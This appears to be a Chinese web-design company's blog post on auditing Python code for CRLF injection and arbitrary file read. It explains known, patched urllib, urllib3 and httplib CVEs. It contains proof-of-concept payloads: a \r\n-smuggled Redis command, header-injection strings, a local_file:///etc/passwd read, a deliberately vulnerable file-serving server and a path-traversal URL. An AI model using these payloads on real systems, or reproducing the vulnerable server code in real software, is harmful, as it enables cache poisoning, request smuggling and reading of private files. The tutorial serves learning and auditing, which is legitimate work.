网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

行业资讯团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 新闻资讯 > 行业资讯 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Python:CRLF和任意文件读取的实战案例

文章来源:重庆网站建设 发布时间:2020-01-09 11:14:19 围观次数:
分享到:

摘要:Python代码审核方法多种多样,但简而言之,它们是基于先前思想的迁移,融合和扩展而形成的。 目前,Python代码审核的想法显示出去中心化和多样性的趋势

  Python代码审核方法多种多样,但简而言之,它们是基于先前思想的迁移,融合和扩展而形成的。 目前,Python代码审核的想法显示出去中心化和多样性的趋势。 总结了Python的少量研发经验以及在实践中遇到的想法和技能,以方便朋友学习和参考。


  CRLF和审核任意文件读取


  实施CRLF审核


  CRLF问题通常在Python模块中发生,并且在某些情况下,httplib模块和urllib模块中存在CRLF问题。 问题是该模块对\ x0d \ x0a(\ r \ n)并不严格。 如果有效地使用了此问题,则可能会导致诸如Memcached和Redis之类的缓存应用程序出现问题,并严重获取外壳程序。 尝试在审核中插入更多\ r \ n,包括不同的位置,并且可能会有新发现。


  urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947)


  这个问题是关于urllib模块的,该模块插入\ r \ n会导致CRLF问题。 另外,如果攻击者向攻击有效载荷添加了缓存应用程序命令,则可能会导致严重的安全风险。 让我们看一下POC。

#!/usr/bin/env python3

import sys

import urllib

import urllib.error

import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"url = "http://" + host + ":8080/test/?test=a"try:    info = urllib.request.urlopen(url).info()    print(info)except urllib.error.URLError as e:    print(e)

POC中使用sys,urllib,urllib.error和urllib.request模块。 测试目标IP为10.251.0.83。 我们在主机中插入\ r \ n和redis命令“ SET test success”。 目前,为了验证CRLF并尝试污染redis缓存。 尝试此攻击后,检查redis服务器:

127.0.0.1:6379> GET test"success" 127.0.0.1:6379>

在redis服务器中,您可以看到缓存已被污染,并且test属性值为success。


  之后,我们立即从错误修复日志中看到URL上的内容已被检查,如下所示。 修复中使用re模块定期检查十六进制\ x00- \ x20和\ x7f。 如果您有兴趣,可以访问下面的链接以获取更多详细信息。

# https://github.githistory.xyz/python/cpython/blob/96aeaec64738b730c719562125070a52ed570210/Lib/http/client.py

_contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f]')

# Arguably only these _should_ allowed:

#  _is_allowed_url_pchars_re = re.compile(r"^[/!$&'()*+,;=:@%a-zA-Z0-9._~-]+$")

# We are more lenient for assumed real world compatibility purposes.

# We always set the Content-Length header for these methods because some

# servers will otherwise respond with a 411

_METHODS_EXPECTING_BODY = {'PATCH', 'POST', 'PUT'}


此外,urilib3中存在相同的问题。 可以看出,这种问题是模块的常见问题。


import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"

url = "https://" + host + ":8080/test/?test=a"

try:

    info = pool_manager.request('GET', url).info()

    print(info)

except Exception:

    pass

# nc -l localhost 7777

GET /?a=1 HTTP/1.1

X-injected: header

TEST: 123:8080/test/?test=a HTTP/1.1

Host: localhost:7777

Accept-Encoding: identity

httplib CRLF漏洞


  然后我们看一下httplib模块的问题。 此问题已由HACKERONE审核人员确认,POC如下所示。 从POC可以看到,首先在LINUX下使用nc命令打开端口7777,然后编写脚本以在httplib.HTTPConnection中写入目标IP和端口,这里是192.168.158.129和7777,使用request方法执行 HTTP GET请求插入参数\ r \ n和测试字符串TEST:123后,在nc上收到请求消息。 根据该消息,可以断定httplib请求方法中存在CRLF问题。

# KALI LINUX 命令行1 :nc -l -p 7777

# root@柠檬菠萝:~# nc -l -p 7777

# GET a=1HTTP/1.1

# X-injected: header

# TEST: 123 HTTP/1.1

# Host: 192.168.158.129:7777

# Accept-Encoding: identity

# KALI LINUX 命令行2:

import httplib

conn = httplib.HTTPConnection("192.168.158.129:7777")

conn.request("GET", "a=1HTTP/1.1\r\nX-injected: header\r\nTEST: 123")

r1 = conn.getresponse()

print (r1.status, r1.reason)

审核任意文件读取


  它反映在Python urllib模块中。 它是一个专注于HTTP请求响应的模块。 因为它简化了SSRF和任意文件的读取,所以它不支持文件协议。 此外,还有一些企业下载文件。 使用open方法解决时,可能存在任意文件读取漏洞。 让我们看看情况。


  urllib local_file协议绕过导致任意文件读取漏洞(CVE-2019-9948)


  为了减轻漏洞的影响,模块黑名单文件://。 当我们测试时,“ urllib.urlopen('file:/// etc / passwd’)”将在模块中列入黑名单,并与要禁止的文件匹配。 但是,由于在Linux中支持local_file://来读取文件,因此会导致绕过问题。 这是POC。

import urllib

print urllib.urlopen('local_file:///etc/passwd').read()[:30]

POC向我们显示,“ local_file”是在urllib.urlopen方法中执行的,read()用于获取文本信息,[[30]用于对获取的文本信息进行分段。


  很难确定模块中允许的内容,并且禁用协议是简单有效地实现此目的的好方法。 实际上,它也已打补丁。  urltype是local_file协议的功能。 它被拼接到203行的open_local_file字符串中。它被208行的if语句检测并禁止。

blob.png

任意文件读取示例


  让我们自己编写一个简单的案例,使用urllib,SocketServer,SimpleHTTPRequestHandler模块在Python2环境中构建一个简单的HTTP服务器。 在do_GET方法中,我们通过urllib.splitquery(self.path)获取参数,并将其分配给uri_c。 然后使用open()打开uri_c的内容,从而导致任意文件读取漏洞。 示例代码如下。

import urllib

import SocketServer

from SimpleHTTPServer import SimpleHTTPRequestHandler

class MyHandler(SimpleHTTPRequestHandler):

    def _set_headers(self):

        self.send_response(200)

        self.send_header('Content-type', 'text/html')

        self.end_headers()

    def do_GET(self):

        print("got get request %s" % (self.path))

        hql = urllib.splitquery(self.path)[1]

        uri_c = str(hql)

        print('cmd===%s' % (uri_c))

        file = open(uri_c)

        self.wfile.write(file.read())

        file.close()

def start_server():

    httpd = SocketServer.TCPServer(("127.0.0.1", 8090), MyHandler)

    print('Starting httpd...')

    httpd.serve_forever()

if __name__ == "__main__":

    start_server()

启动服务后,我们访问脚本中定义的127.0.0.1:8090。 尝试读取参数部分中的任何文件将读取目标文件的内容。 尝试在此处阅读Windows \ win.ini,使用“ http://127.0.0.1:8090/?../../../../Windows\win.ini”进行攻击,返回结果如下 。

# URL : http://127.0.0.1:8090/?../../../../Windows\win.ini

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1


本文由 重庆网站建设 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Python CRLF 任意文件读取 实战案例

上一篇:以net use客户端为例,分析并修复了Responder实现的SMBv1和SMBv2中存在的问题。
下一篇:网站建设行业的合作多赢

热门资讯

鼠标向下滚动